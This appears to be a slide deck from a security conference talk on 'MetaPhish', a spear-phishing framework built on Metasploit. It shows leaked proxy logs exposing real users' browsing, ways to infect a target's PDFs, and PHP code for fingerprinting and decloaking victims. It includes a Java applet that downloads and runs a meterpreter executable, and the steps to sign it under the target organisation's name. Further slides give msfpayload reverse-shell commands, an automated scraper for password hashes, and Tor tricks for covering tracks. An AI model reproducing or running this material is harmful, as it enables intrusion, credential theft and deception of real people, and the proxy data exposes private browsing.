

MetaPhish

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Bios

Valsmith

- Affiliations:
 - Attack Research
 - Metasploit
- Work:
 - Attack Techniques Research
 - Pen Tester/ Exploit developer
 - Reverse Engineer
 - Malware Analyst



Previous Talks

- Exploiting malware & vm detection
- Kernel mode de-obfuscation of malware
- Data mining malware collections
- Tactical Exploitation
- Post Exploitation
- Analysis of foreign web attacks



Overview

- Spear Phishing for Pen-Testing
- Working on a Framework on top of Metasploit
- Phile Phishing
- Web Phishing
- MSF automation
- Abusing TOR
- Tying it all together





- This is the way people are getting in NOW
- Remote exploits much less prevalent
- Blended attacks combining:
 - Web
 - File formats
 - Malware
 - Social Engineering






How often do you pen test this way? Do clients let you?





You're missing a major vector!





- Attackers now use targeted client side methods
- Web kits prevalent
 - Mpack, tornado, adpack, luckyspolit, zunker
 - Who knows what's in these ?
 - Uncontrolled environment
- File format exploits abound
 - Sometimes get built into MSF,Core
 - Same problems as web kits
 - Little public knowledge of FF RE methods
- Solution? RE what the attackers do and make their techniques reliable





Work Flow

- Thoroughly recon target
- Build a "legend" for your attack
 - Find plausible documents from the target

- Build your vector
 - Infect PDF's
 - Build a malicious website



Cast your line – send the target the lure



Work Flow

- Setup a server side exploitation system that can handle many clients at once
- Receive the incoming access
 - Design to bypass their firewalls
 - Look for proxies, HIDS/HFW, egress ports
 - Inject into pre-authorized browsers
- Automate your post-exploitation actions
 - Scripts to grab passwords, install backdoors, enumerate info, grab tokens, log manipulation
- Complex, needs a framework



Why a Framework?





Why a Framework?

- Client side is the new paradigm as are frameworks
- Phishing = client side attack surface facilitator
- Most client side tools are manual / standalone
- Core Impact is \$\$\$
- Pentesters need
 - Standardizable
 - Controllable
 - Automatable
 - Customized methods



Targeting not as well defined or supported



Targeting?





Targeting

- Greatly increases chances of success
- Heavily social engineering inspired
- Requires recon
- The more knowledge about the target the better
- Tactical Exploitation concepts apply
- Use target's public files against them



Targeting

- Generic File Hunting / File Harvesting
- Creative googling for documents
- Read documents for juicy details
- Read deeper
 - Harvest meta data for juicy details





Targeting

- Understand your targets infrastructure
 - Tactical Exploitation topics apply
 - Enumerate targets "home" or actual networks
 - Beyond just the hosting company
 - Look for leaked proxy log analysis results
 - These give you:
 - Client applications
 - Update frequencies
 - Anti-Virus
 - Anything that communicates out
 - Internal IP addresses





MySQL Squid Access Report 2.1.4

[Home | Administration]

[<<< Back to "Daily Summary" | Refresh this page]

Hosts and Users Summary for a Specific Day

<< < Friday, 17 August 2007 > >>
[Go to today]

[Sites Summary for a Specific Day]

[Set this view as the default]

M)	HOST 🗷 💷 <u>USE</u>	RNAME E S	ITES 🗉	BYTES CACHE	PERCENT I
	0.0	8	21	4927.30K	0%
Marc	io Amarop	4	12	1390.24K	0%
	Teste		31	2427.74K	0%
TOTALS	3	1	58	8745.28K	

1000	Latest user activity									
HOST IP	USERNAME TIME	BYTES	URL	STATUS						
10.78.32.4	- 11:45:3	3 494	http://www.google-analytics.com/utm.gif?	TCP_MISS/200						
10.78.32.4	- 11:45:3	3 362	http://www.friv.com/site/fishtales.swf	TCP_IMS_HIT/304						
10.78.32.4	- 11:45:3	3 355	http://www.friv.com/site/fishtales.html	TCP_IMS_HIT/304						
10.78.32.4	- 11:45:3	3 360	http://www.friv.com/site/leftborder.swf	TCP_IMS_HIT/304						
10.78.32.4	- 11:45:2	5 355	http://www.friv.com/site/zeropage.html	TCP_IMS_HIT/304						
10.78.32.4	- 11:45:2	5 355	http://www.friv.com/site/start.html	TCP_IMS_HIT/304						
10.78.32.4	- 11:45:2	5 356	http://www.friv.com/site/swfobject.js	TCP_IMS_HIT/304						
10.78.32.4	- 11:45:2	5 309	http://t1.extreme-dm.com/i.gif	TCP_IMS_HIT/304						
10.78.32.4	- 11:45:2	5 364	http://e1.extreme-dm.com/s10.g?	TCP_MISS/304						
10.78.32.4	- 11:45:2	5 355	http://www.friv.com/	TCP_IMS_HIT/304						

Current active users: 2
Current date and time is: 23-05-2009 05:48:29
Last processed record: 17-08-2007 11:45:33
Number of records processed at last import: 778
Last clean-up of the database was done at: 17-08-2007

MySQL Squid Access Report 2.1.4 (c) 2004-2005 by Giannis Stoilis Licenced under the GNU General Public Licence.





Squid User Access Reports Period: 2009May22-2009May22 Sort: BYTES, reverse

Topuser

Topsites

Sites & Users

Downloads

Authentication Failures

NUM		USERID	CONNECT	BYTES	%BYTES	IN-CAC	CHE-OUT	ELAPSED TIME	MILISEC	%TIME
1	11. 43	adminhotel	13.09K	247.35M	31,30%	0.80%	99.20%	11:24:34	41,074,091	27.35%
2	1 45	filippova	8,95K	156.79M	19,84%	5.32%	94.68%	09:03:55	32,635,941	21.73%
3	11. 46	pogar	3.22K	153,66M	19,44%	0.36%	99.64%	01:02:34	3,754,743	2,50%
4	11. %	stereotip	9.27K	80.17M	10.14%	2.05%	97.95%	00:52:35	3,155,360	2,10%
5	11.46	market	4,23K	51,09M	6,46%	20.71%	79.29%	07:59:40	28,780,901	19.17%
6	山 吗	anton	6.95K	50,61M	6,40%	0.68%	99.32%	00:41:18	2,478,322	1.65%
7	11. 13	urist	864	33,93M	4.29%	1.11%	98.89%	00:08:42	522,727	0.35%
8	11.49	buhgalter2	3.06K	16.27M	2,0696	4.08%	95.92%	00:56:00	3,360,785	2,24%
9	11.46	alexy	12	462,50K	0.06%	0.00%	100.00%	09:33:21	34,401,929	22,91%
		TOTAL	49.67K	790.37M		3.10%	96.90%	41:42:44	150,164,799	
		AVERAGE	5.51K	87.81M				04:38:04	16,684,977	

Generated by sarg-2.2.5 Mar-03-2008 on May/23/2009 06:40




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http://icicle.icegroup.ru/squid-reports/Daily/2009May22-2009May22/pogar/pogar.html

ttp://wwwteuser.html	http://www.z/ir	CONNECT	1	//icicle2, %BYTES			http://www20		%TIME
Q ₁	195.218.182.30	1	77.71M	50,58%	0.00%	100.00%	00:09:54	594,599	15,84%
The state of the s		7	57.98M	37.74%	0.00%	100.00%	00:08:21	501,831	13,379
	07.clip03b.video.yandex.net	2	2.22M	1,45%	0.00%	100.00%	00:00:17	17,191	0,469
	www.kprf.org	655	2.07M	1.35%	4,99%	95.01%	00:02:44	164,252	4,379
	mail.google.com	151	1.13M	0.74%	0.00%	100.00%	00:16:02	962,646	25,649
The second secon	www.calend.ru	204	1.01M	0,66%	0,00%	100.00%	00:00:47	47,026	1.259
	92,241,182,235	34	872.99K	0.57%	0.00%	100.00%	00:00:10	10,559	0.289
T 6		38	529.38K	0.3496	0.09%	99.91%	00:00:22	22,467	0.609
	gallery.krugozor.ru	36	428.24K	0.28%	0.00%	100.00%	00:00:08	8,320	0.229
	forum allsochi info	104	418.75K	0.27%	0,00%	100.00%	00:00:31	31,372	0.849
Q		20	386.98K	0.25%	0.00%	100.00%	00:00:10	10,654	0.289
	www.yandex.ru	15	363.27K	0.2496	0.00%	100.00%	00:00:05	5,682	0.159
Q _b		23	352.30K	0.23%	0.00%	100.00%	00:00:06	6,345	0.179
Q		1	345.78K	0.23%	0,00%	100.00%	00:00:02	2,741	0.079
247	s14.ucoz.net	11	310.29K	0.20%	0.00%	100.00%	00:00:04	4,708	0.139
		10	308.91K	0.20%	0.00%	100.00%	00:00:10	10,148	0.279
	ip.kommynist.ru	73	303.95K	0.20%	0.00%	100.00%	00:00:27	27,345	0.739
	monument,ucoz.ru	7	298.01K	0.19%	0.00%	100.00%	00:00:08	8,610	0.239
		19	280.11K	0.13%	0.00%	100.00%	00:00:10	10,278	0.279
	I-stat.livejournal.com	14	256.83K	0.17%	0.00%	100.00%	00:00:04	4,547	0.129
	gadgets.stemo.ru	28	248.72K	0.16%	0.00%	100.00%	00:00:07	7,577	0.209
		48	243.93K	0.16%	23.28%	76.72%	00:00:06	6,205	0.179
	static.cache.l.google.com	22	216.37K	0.14%	0.00%	100.00%	00:00:07	7,010	0.199
	news.samaratoday.ru	7	210.37K	0.14%	0.00%	100.00%	00:00:04	4,662	
-	and a second control of the second control o			200,000					0.129
The second secon	www.cprf.info	24 14	202.74K	0.13%	21.88%	78.12%	00:00:12	12,591	0.349
	ngbn.net	1	197.93K	0.13%	0,00%	100.00%	00:00:06	6,933	0.189
	www.anekdot.ru	31	189.50K	0.12%	0.00%	100.00%	00:00:10	10,574	0.289
100	slovari yandes nu	10	171.85K	0.11%	0.00%	100.00%	00:00:04	4,936	0.139
	www.google.com	55	158.19K	0.10%	0.00%	100.00%	00:00:23	23,372	0.629
	src.ucoz.ru	35	156.08K	0.10%	0,00%	100.00%	00:00:09	9,175	0.249
	87,242,91,21	4	155.22K	0.10%	0.00%	100.00%	00:00:02	2,498	0.079
	www.3milliona.net	16	144.08K	0.0996	0.00%	100.00%	00:00:06	6,674	0.189
100	fly wideo yandex ru	17	136.76K	0.09%	0.00%	100.00%	00:00:02	2,727	0.079
100	days,pravoslavie.ru	13	129.06K	0,08%	0,00%	100.00%	00:00:08	8,487	0.23
	gorodok.samaratoday.ru	9	125.03K	0.08%	3,71%	96,29%	00:00:07	7,637	0.20
<u>-u</u>		6	123,81K	0.08%	84.75%	15.25%	00:00:00	924	0.029
	top9.mail.ru	91	118.52K	0.08%	0.00%	100.00%	80:00:08	8,069	0.219
	kommynist.ru	26	118.19K	0,08%	0.4696	99.54%	00:00:35	35,196	0.949
The second secon	img.yandex.net	44	117,74K	0.08%	21.85%	78.15%	00:00:05	5,052	0.139
-	api-maps.yandex.ru	4	106.54K	0.07%	66.28%	33.72%	00:00:00	424	0.019
-	nbimg.dt00.net	23	105.43K	0.07%	0.00%	100.00%	00:00:05	5,683	0.159
	video-tub.yandex.ru	22	105.06K	0.07%	0,00%	100.00%	00:00:04	4,486	0.129
	nova.rambler.ru	22	101.81K	0.07%	0.00%	100.00%	00:00:04	4,894	0.139
<u> </u>		87	97.64K	0.0696	0.00%	100.00%	00;00:11	11,428	0.309
	www.google.ru	25	96,59K	0.06%	0.00%	100.00%	00:00:09	9,914	0.269
	counter.yadro.ru	126	90.19K	0.06%	0.00%	100.00%	00:00:13	13,584	0,369
<u> </u>		19	76.26K	0.05%	0,92%	99.08%	00:00:14	14,356	0.389
46		19	72.12K	0.05%	0.00%	100.00%	00:00:03	3,899	0.109
	87.242,91.22	6	66.72K	0.0496	0.00%	100.00%	00:00:01	1,597	0.049
	suggest.yandex.ru	112	66.12K	0.04%	15,88%	84.12%	00:00:24	24,471	0.659
Q _b	blogs.yandex.ru	27	65.74K	0.04%	0.00%	100.00%	00:00:03	3,377	0.099
Pb.	page2rss.ru	8	63.71K	0.0496	2,94%	97,06%	80:00:00	8,298	0.229





Squid Analysis Report Generator

Squid User Access Report

Period: 2007May10-2007May10 Sort: BYTES, reverse Topuser Report

Topsites Report Sites & Users Report Downloads Report Denied Report

NUM	USERID	CONNECT BYTES %BYTES IN-CACHE-OU		HE-OUT	ELAPSED TIME	MILISEC	%TIME		
1	10.20.2.5	34.14K	1.77G	94.69%	0.00%	98,41%	00:00:00	0	0.00%
2	10.20.2.210	3.63K	47.00M	2.51%	0.00%	99.96%	00:00:00	0	0.00%
3	10,20.2.205	1.71K	19.56M	1.04%	0.00%	98,95%	00:00:00	0	0.00%
4	10.20.2.235	1.54K	8.27M	0.44%	0.00%	99.18%	00:00:00	0	0.00%
5	10.20.2.197	1.05K	7,25M	0.39%	0.00%	98.25%	00:00:00	0	0.00%
6	10.130.102.43	847	6.00M	0.32%	0.00%	97.41%	00:00:00	0	0.00%
7	10.85,72,201	800	4,84M	0.26%	0.00%	92,56%	00:00:00	0	0.00%
8	10.20.2.200	404	3.45M	0.18%	0.00%	77.44%	00:00:00	0	0.00%
9	10.20.2.80	315	2,33M	0.12%	0.00%	93,77%	00:00:00	0	0.00%
10	10.20.2.16	45	318.31K	0.02%	0.00%	79.45%	00:00:00	0	0.00%
11	10.64.130.23	96	133,24K	0.01%	0.00%	0.00%	00:00:00	0	0.00%
12	10.100.101.101	165	101.14K	0.01%	0.00%	94.48%	00:00:00	0	0.00%
13	10.20.2.2	11	66.75K	0.00%	0.00%	0.00%	00:00:00	0	0.00%
	TOTAL	44.77K	1.87G		0.00%	98.38%	00:00:00	0	
	AVERAGE	3.44K	144.00M				00:00:00	0	

Generated by sarg-2.1 Nov-29-2005 on May/10/2007 21:46





Squid Analysis Report Generator

Squid User Access Report Period: 2007May10-2007May10 User: 10:20:2.5 Sort: BYTES, reverse User Report

ACCESSED SITE	CONNECT	BYTES	%BYTES	IN-CACHE-OUT		ELAPSED TIME	MILISEC	%TIME
192.168.38.104:1692	1	760.74M	42.91%	0.00%	100.00%	00:49:35	2.97M	1.82%
192.168.38.104:1660	1	155.51M	8.77%	0.00%	100.00%	00:10:06	606.80K	0.379
10,100,179,53;27367	2	117.26M	6.62%	0.00%	100.00%	00:22:09	1.32M	0.819
www.w3.org	2.35K	108.27M	6.11%	0.00%	100.00%	00:52:35	3.15M	1.939
192.168.38.104:1651	1	69.88M	3.94%	0.00%	100.00%	00:04:32	272,29K	0,179
192.168.38.104:1675	1	61.31M	3,46%	0.00%	100.00%	00:03:59	239.35K	0.15%
192.168.38,104:1686	1	41.31M	2,33%	0.00%	100.00%	00:02:41	161.76K	0.10%
hot-chinacache:56.com	3	40.63M	2.29%	0.00%	100.00%	00:00:38	38.81K	0.029
d0.c9.56.com	3	35,17M	1.98%	0.00%	100.00%	00:06:34	394.63K	0.249
ftp.pconline.com.cn	11	29.02M	1.64%	0.00%	100.00%	00:45:23	2.72M	1.67%
192.168.180.153:1916	1	28.18M	1.59%	0.00%	100.00%	00:01:50	110.03K	0.079
10,85,23,29;54657	1	16.47M	0.93%	0.00%	100.00%	00:01:19	79.96K	0.05%
www.u17.com.cn	297	14.25M	0.80%	0.01%	99.99%	00:00:46	46.66K	0.039
d24.c11.56.com	1	13.39M	0.76%	0.00%	100.00%	00:02:25	145.96K	0.099
down6.flashget.com	4	13.32M	0.75%	75.00%	25.00%	00:00:28	28.50K	0.02%
d7.c17.56.com	1	11.12M	0.63%	0.00%	100.00%	00:02:01	121.29K	0.079
mapgoogle.mapabc.com	1.49K	10.49M	0.59%	0.55%	99.45%	00:24:04	1.44M	0.899
61,172,204,78;443	3	9,15M	0.52%	0.00%	100.00%	06:43:24	24.20M	14.839
proxy88.com	261	8.91M	0.50%	0.05%	99.95%	00:44:14	2.65M	1.63%
d1.c18.56.com	1	8.85M	0.50%	0.00%	100.00%	00:03:22	202.13K	0.129
d20.fes18.56.eom	1	8.70M	0.49%	0.00%	100.00%	00:01:39	99.41K	0.069
59.77.31.21:443	2	8.60M	0.49%	0.00%	100.00%	00:07:27	447.65K	0.279
course shufe edu.cn	52	6.20M	0.35%	34.90%	65.10%	00:00:15	15.06K	0.019
d6.c9.56.com	1	5.99M	0.34%	0.00%	100.00%	00:01:07	67.16K	0.049
cn.yimg.com	1.49K	4.80M	0.27%	73.27%	26.73%	00:10:51	651.05K	0.40%
mail.yimg.com	51	4.25M	0.24%	23.06%	76.94%	00:00:37	37.69K	0.029
d7.c16.56.com	1	4.08M	0.23%	0.00%	100.00%	00:00:46	46.02K	0.03%
www.tiansuo.com.cn	2.36K	3.65M	0.21%	0.00%	100.00%	00:00:10	10.90K	0.019
www2,tianya.en	150	3.51M	0.20%	0.01%	99.99%	00:06:34	394.52K	0.249
www.scbaijia.com	124	3.45M	0.19%	0.36%	99.64%	00:02:05	125.58K	0.089
images.sohu.com	321	3.26M	0.18%	37.06%	62.94%	00:00:36	36.01K	0.029
image2.sina.eom.en	2.14K	3.25M	0.18%	16.45%	83.55%	00:54:18	3.25M	2.009
192.168.38.104:1649	1	2.94M	0.17%	0.00%	100.00%	00:00:14	14.09K	0.019
military.china.com	249	2.92M	0.17%	2.53%	97.47%	00:02:21	141.45K	0.099
www.folang.com	70	2.62M	0.15%	1.62%	98.38%	00:03:10	190.40K	0.129
download,xinhuanet.com	2				100.00%		130.03K	0.08%
p.mail.163.com	56			66.66%	33.34%	00:01:47	107.31K	0.079
photo9.yupoa.com	7				100.00%	00:00:55	55.55K	0.039
Find: gov 4 A				0.0001			-00-0414	





S/ARC

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Squid Analysis Report Generator

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Squid User Access Report 8&0ÉIÁ: 2009Apr02-2009Apr04 atigÚTxÁÓŘÍø: 192.168.102.145 rôÓIÓÓÉÓIXÁII: BYTES, reverse áti

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PHILE PHISHING





Target File Selection and Infection

Search the web for your target and available files

- Newsletters are great
- Conference announcements
- Find recent things to modify
- Take advantage of relationship

- If your target partners with someone else, steal and infect their documents and send to client
- Goal is to get them to click
- Script to automate target PDF acquisition



Target File Selection and Infection

- How do you select a file for infection?
 - People believe PDFs are a safe format
 - People trust PDFs that are from their own organization
 - Pick topics of likely target interested
 - Pick files that are widely circulated
 - Large audience
 - Newsletters
 - Company forms & instructions
 - "Snow day" & activity announcements





File Format: PDF/Adobe Acrobat

2008年8月12日 ... 匯制依据: 《中國人民共和国防震圈灾法》, 国圖院《汶川地震灾后恢圆重建条 例》。《国圖院圖于做好汶川地震灾后恢圖重建工作的指題意图》 ...

www.gov.cn/wcdzzhhfcjghzqyjg.pdf - Similar pages - 🔝

ppp Page 1 溪政[2007]1 号圈于下圈 2007 年度竹子造林圖剛的通知 各村民 ... 📃 💹 - [Translate this

File Format: PDF/Adobe Acrobat

溪政[2007]1 号, 閩于下甌,2007,年度竹子造林颶圓的通知,各村民委園会: ,根据"采造挂鬮、 圖造平 衡,除治同步"的圖定。 閱聞各村06年度 ...

www.xikou.gov.cn/200701.pdf - Similar pages -

[POF] 表六摩托圖 | | - [Translate this page]

File Format: PDF/Adobe Acrobat

序号、關關型号名称關關机型号/企關,化油器型号/生關、厂,催化關化器型号/、生關厂、關關感器型号/ 生. 間厂. EGR器型号/生. 間厂. 1. 1-1. DFL100-3週間摩托闆 ...

www.zhb.gov.cn/image20010518/2910.pdf - Similar pages -

于關施基圖国十圖源圖子政圖的思考 🔲 🗷 - [Translate this page]

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圖于臘施基圖国土圖源圖子政圖的思考. 尹闡程. 1. ,王孝强. 1. ,蔡先圜. 2. (1徐州市国土圖源

局。江闊徐州221006;2中国閩閩大学閩境与閩閩学院。江闊徐州221008...

www.xzgtzy.gov.cn/news_file/200611150477349.pdf - Similar pages bv 毋聞程 - Related articles - All 5 versions

IPDFI 特圖:全省科学技圖大会重要文件 [] | Translate this page 1

File Format: PDF/Adobe Acrobat

特問:全省科学技閣大会重要文件。在全省科学技閣大会上的關關。中共甘國省委關關。閱圖 (2006 年4月11日) . 同志聞: . 圖次全省科技大会, 是省委省政府召员的一次 ...

www.gansuinfo.gov.cn/doc/56 2681.pdf - Similar pages -

[POF] 图图市人民政府 [] - [Translate this page]

File Format: PDF/Adobe Acrobat

1-、閱閩市人民政府、閩府函(2005)87号、閱閩市人民政府、閩于印聞全面推關依法行政工作、2005 年年度問題的通知. 各区市園人民政府, 各間区管委会, 科学城園事...

jiangyou gov.cn/image20010518/11508.pdf - Similar pages - -

rpor 圖干圖展以"我圖党旗增圖"圖主圖的先圖性教育演圖活圖的通知 □ □ - [Translate this page]


File Format: PDF/Adobe Acrobat

1、江先週曜(2005)16号。閩于關展以"我關党旗增團"閩主團的、先關性教育演園活圖的通知。市机閩

Find file targets to infect

What's wrong with this picture? What shouldn't we have done?






Lets say our target is a technical organization in the Chinese government

Here is a good candidate PDF they provide freely for us








Gather target email addresses to send infected files to/from





www.stats.gov.cn/english/specialtopics/jgos/Papers/Presentation Concurrent Session 30c.ppt -

in infrastructure that will have long-term implications for resource use in the The per person Footprint of each nation in the Asia-Pacific region is shown on the Spatially compact city. Though a spatially compact urban development plan DATA SOURCES. The

www.cjw.gov.cn/ad/vangtzeforum/detail/20080617/20080617114132LUOjkW.pdf -

(PDF) Report on Ecological Footprint in China

File Format, PDF/Adobe Acrobat - View as HTML

Ecological Footprint calculations of ...

Similar pages - -

Similar pages -

Gather sites that have plausible relationships to send the infected files to

5patial Data Infrast...



File Infection

- Why PDFs?
 - Javascript
 - Code Execution
 - Nested PDF's
 - Exploits / vulns in readers
 - Dynamic content
- How do we infect them?
 - Incremental update
 - Tedious to do by hand
 - Colin RE'd the PDF file format





File Infection

Adobe_basic_social_engineering.rb
 ruby script for infection

- Metasploit module
- Select a PDF to infect
- Pass file to module
- Output infected PDF
- Other tools generate blank





PDF Defiler

- Demo PDF Parser
- Demo PDF Infector





Web Phishing



These are the detailed mechanics of how to do this type of work



Web Phishing

- Direct targets to your website
- Enumerate the target using web app
- Socially engineer the target into believing everything is "ok"
- Execute code on the target via SE, applet, exploit, etc.
- Handle incoming access from target
- Automate post exploitation activities
- Use a reliable framework



Web Phishing


Components

- Target Sieve
 - OS detection
 - IP detection
 - Browser detection
 - Decision making
- De-cloaking
- Signed Java Applets
 - Fake certificate to targets org
 - Social Engineering Attack
- Obfuscation





GENERAL FRAMEWORK





- These are examples we are providing
- Could be done many (better) ways

```
genHeader()
                                        browserDetect()
    Generate header, noscript to
                                             Determine the browser in use
    test JS
                                        isDecloakIP()
ipCheck()
                                             Get natted / internal IP using
    Get target IP and compare to
                                             javascript
                                        japdip()
    scope
                                             Get natted / internal IP using
javaCheck()
    Verify java is enabled
                                             javapplet
osDetect()
                                        Logger()
    Determine the operating system
                                             Log captured info to a file
    type
```





GENERATE A HTTP PAGE HEADER



```
function genHeader() {
     echo "<html>";
     echo "<body>";
     echo "<noscript>";
     echo "<meta http-equiv=\"refresh\"
 content=\"0;url=$bounceurl\">";
     echo "</noscript>";
} // end genHeader
```



VERIFY TARGET IP IS IN SCOPE





```
function ipCheck($target ip) {
     scopelPflag = 0;
     if ((preg_match("/$firstRange/",$target_ip, $matches)) ||
     (preg_match("/$sndRange/",$target_ip, $matches))) {
          $scopelPflag = 1;
     } // end if
     else {
          scopelPflag = 0;
     } // end else
     return $scopelPflag;
} // end ipCheck
```






VERIFY JAVA INSTALL



```
function javaCheck() {
     echo "<script language=javascript>";
     echo 'if (navigator.javaEnabled()) { }';
     echo 'else { document.write("No
  JAVA"); window.location =
  "http://blog.attackresearch.com"; }';
     echo "</script>";
} // end javaCheck
```



OS DETECTION






function osDetect(\$useragent) { // Check for windows, and send to windows page if (preg_match("/Windows/", \$useragent,\$winmatched)) { \$ostype = "win"; } // end windows check // Check for linux, and send to linux page elseif (preg_match("/Linux/", \$useragent,\$linmatched)) { \$ostype = "linux"; } // end linux check // Check for mac, and send to mac page elseif (preg_match("/Macintosh/", \$useragent,\$macmatched)) { \$ostype = "mac"; } // end mac else { \$ostype = "unknown"; } // end else return \$ostype;

} // end osDetect



GATHER BROWSER INFO






```
function browserDetect($useragent) {
     // Check for firefox
     if (preg_match("/Firefox/", $useragent,
   $winmatched)) {
          $browsertype = "ff";
     } // end ff check
     // Check for IE
     elseif (preg_match("/MSIE/",
   $useragent,$winmatched)) {
           $browsertype = "ie";
     } // end ie check
     // Check for safari
   elseif (preg_match("/Safari/",
$useragent,$winmatched)) {
           $browsertype = "safari";
     } // end safari check
```

```
// Check for opera
     elseif
(preg_match("/Opera/",
$useragent,$winmatched)) {
          $browsertype =
"opera";
     } // end opera check
    // Browser Unknown
     else {
         $browsertype =
"unknown":
     } // end unknown check
     return $browsertype;
} // end browserDetect
```






GET TARGET'S INTERAL IP VIA JS



function isDecloakIP() { echo '<script type="text/javascript">'; echo 'function natIP() {'; echo ' var w = window.location;'; echo ' var host = w.host;'; echo ' var port = w.port || 80;'; echo ' var Socket = (new java.net.Socket(host,port)).getLocalAddress().getHostAddress();'; echo 'return Socket;'; echo '}'; echo '</script>'; echo '<script language=javascript>'; echo 'realIP = natIP();'; echo 'document.location.href="sieve.php?dip="+realIP;"; echo '</script>'; } // end jsDecloakIP



GET INTERAL IP VIA JAVA APPLET





```
function japdip() {
    echo '<APPLET code="MyAddress.class" archive="MyAddress.gif"
    WIDTH=500 HEIGHT=14>';
    echo '<PARAM NAME="URL" VALUE="sieve.php?japdip=">';
    echo '<PARAM NAME="ACTION" VALUE="AUTO">';
    echo '</APPLET>';
} // japdip
```

Check out: http://www.reglos.de/myaddress/MyAddress.html for info about the class file.





LOG ALL RELEVANT INFORMATION




} // end logger

Web Phishing - Sieve

```
function logger($target_ip,$dip,$ost,$bt,$sipf,$hitdate) {
     nl = "\n";
     $delim = "|";
     $data = $target_ip . $delim . $dip .
     $delim . $ost . $delim . $bt . $delim . $sipf . $delim . $hitdate . $nl;
     $outFile = "clientlog.txt";
     $fh = fopen($outFile, 'a') or die ("cant open logfile");
     fwrite($fh,$data);
     fclose($fh);
```



DEMO





Web Phishing

Social Engineering

- Java Applet for distributing and executing meterpreter
- Client hits page
- Java applet window pops up
- · Client hits "Run"
- Applet causes client to
 - (in the background)
 - download meterpreter executable from your site
- Applet executes meterpreter
- Meterpreter sends reverse shell to your server





```
import java.applet.Applet;
import java.io.*;
import java.net.*:
import java.io.IOException;
public class WebDispApp extends Applet {
     public WebDispApp() { }
     public void init() { downloadURL(); cmd();
     } /* end public void init */
     public void downloadURL() {
               OutputStream out = null;
               URLConnection conn = null;
               InputStream in = null;
              try {
        URL url = new
     URL("http://192.168.1.1/data/win/met.exe");
                 out = new BufferedOutputStream(
                 new FileOutputStream("c:\\met.exe"));
                 conn = url.openConnection();
                 in = conn.getInputStream();
                 byte[] buffer = new byte[1024];
                 int numRead:
                 long numWritten = 0;
                 while ((numRead = in.read(buffer)) != -1) {
                      out.write(buffer, 0, numRead);
                      numWritten += numRead:
                 } /* end while */
```

```
} /* end try */
catch (Exception exception) {
      exception.printStackTrace();
} /* end catch */
finally {
      try {
            if (in != null) {
                  in.close();
             } /* end if */
            if (out != null) {
                 out.close();
            } /* end if */
       } /* end try */
      catch (IOException ioe) { }
} /* end finally */
} /* end public void downloadURL */
public void cmd() {
       Process process;
       try {
              process =
Runtime.getRuntime().exec("cmd.exe /c c:\\met.exe");
       } /* end try */
      catch(IOException ioexception) { }
} /* end public void cmd */
} /* end public class */
```



- How to make it deadly?
- Use cryptographically signed java applet
 - Sign it as your target
 - User reads the cert and trusts it (usually)
 - So many sites have invalid certs users don't even notice anymore
- Change up filenames / code to reflect targets application infrastructure
 - If they use wordpress, use wordpress sounding file names for example



Compile the applet:

javac MetaPhish.java

Generate a class file:

jar -cf MetaPhish.jar MetaPhish.class

Build a ketystore and set the passwords / organization name:

 keytool -genkey -alias signFiles -keystore msfkeystore -storepass msfstorepass -dname "cn=The Targets Org" -keypass msfkeypass

Sign the files and create a "secured" jar:

 jarsigner -keystore msfkeystore -storepass msfstorepass -keypass msfkeypass -signedjar sMetaPhish.jar MetaPhish.jar signFiles

Create the certificate:

 keytool -export -keystore msfkeystore -storepass msfstorepass -alias signFiles -file MetaPhishLLC.cer

Import the certificate:

 keytool -import -alias company -file MetaPhishLLC.cer -keystore msfkeystore -storepass msfstorepass



- You will now have a collection of files:
 - MetaPhish.class * Compiled Java
 - MetaPhish.jar * Compressed class
 - MetaPhish.java * Source code
 - MetaPhishLLC.cer * Certificate
 - msfkeystore* Key store
 - sMetaPhish.jar * Signed Jar
 - windex.html* malicious web page



Web code to execute the applet:

```
<html>
<body>
<APPLET code="MetaPhish.class"
    archive="sMetaPhish.jar" width="1"
    height="1"></APPLET>
</body>
</html>
```

Put this in an IFRAME with valid web site
 to trick the target






- Victim receives message box
- Digital Signature will appear to have the "trusted" information
- Many users will run this
- Basically Social Engineering / Targeted Phishing



Automation





- Need to be able to handle *n* incoming sessions
- Need to be able to automate functions
 - Acquire passwords
 - Add users
 - Upload 2nd stage persistence backdoor
 - Registry / stored info
- Need to use firewall allowed egress ports



- Create a stand alone meterpreter binary for windows:
 - Use the reverse connection assuming there is a firewall
 - Set your IP, should be directly internet accessible
 - Set the port to receive incoming sessions, directly internet accessible
 - Set the output name of the executable, for covertness set something targeted
 - ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.34 LPORT=8000 R | ./msfencode -b '' -t exe -o meterpreter.exe



- Run metasploit ./msfconsole
- Set MSF parameters to match the meterp
 - msf > use exploit/multi/handler
 - msf exploit(handler) > set
 ExitOnSession false
 - msf exploit(handler) > set PAYLOAD
 windows/meterpreter/reverse_tcp
 - msf exploit(handler) > set LHOST
 192.168.0.34
 - msf exploit(handler) > set LPORT 8000



- Setup automation script and set MSF in multihandling mode
 - msf exploit(handler) > set
 AutoRunScript ./PhishScrape.rb
 - msf exploit(handler) > exploit -j
- You can use any script you want, we are providing an example



- Deploy the meterpreter to your target using whatever means
 - Infected PDF / files
 - Malicious website
 - Exploit
 - Java Applet
 - Exploits
 - Email it directly





- Watch for:
 - [*] Transmitting intermediate stager for over-sized stage...(191 bytes)
- You have successfully compromised a target!
 - Many targets may come in at once
 - To list your sessions do:
 - sessions –l
 - Then you can use standard meterpreter commands



- An automated scrapper will run on each target
- Will gather info automatically and place it in ~/.msf3/logs/scraper
- Each compromised target will generate a dir
 - -ipaddress_data_timestamp



The following information will be autoscraped:

```
env.txt # System environment
group.txt # Domain group info
hashes.txt # Crackable password hashes
localgroup.txt # local group memberships
nethood.txt # network neighborhood info
network.txt # detail networking info of target
services.txt # running services (look for AV)
shares.txt # Any shared directories
system.txt # operating system info
users.txt # local user account names
```

 Take a look at DarkOperator's scripts for more ideas: http://www.darkoperator.com/



Metaphish

Demo









Who do you want to be today?



Abusing Tor



Button, button, who's got the button

- When using tor, normally the exit node is random
 - It is possible to define an exit node, or group of exit nodes
 - Nice for viewing content that is blocked by country
 - Way to cover tracks
 - Easy to hide in the evil that is tor
 - Avoid using an exit node in the target country when possible
 - Target country can collect node for forensics




Where am I again?

- Theoretically you can just specify a country code in the tor_rc file.
 - Never seen it work correctly
 - Documented not to work in many news groups
 - Nice to pop out of just one or two nodes if running scans and such
 - Easy to change, can even have many configs with different exit nodes, and periodically change



 Vidalia is an easy way to manage tor, here we are looking at potential tor exit nodes





- Selecting Nodes Through Vidalia
 - When selecting exit nodes, it is important to make sure they have somewhat unique names
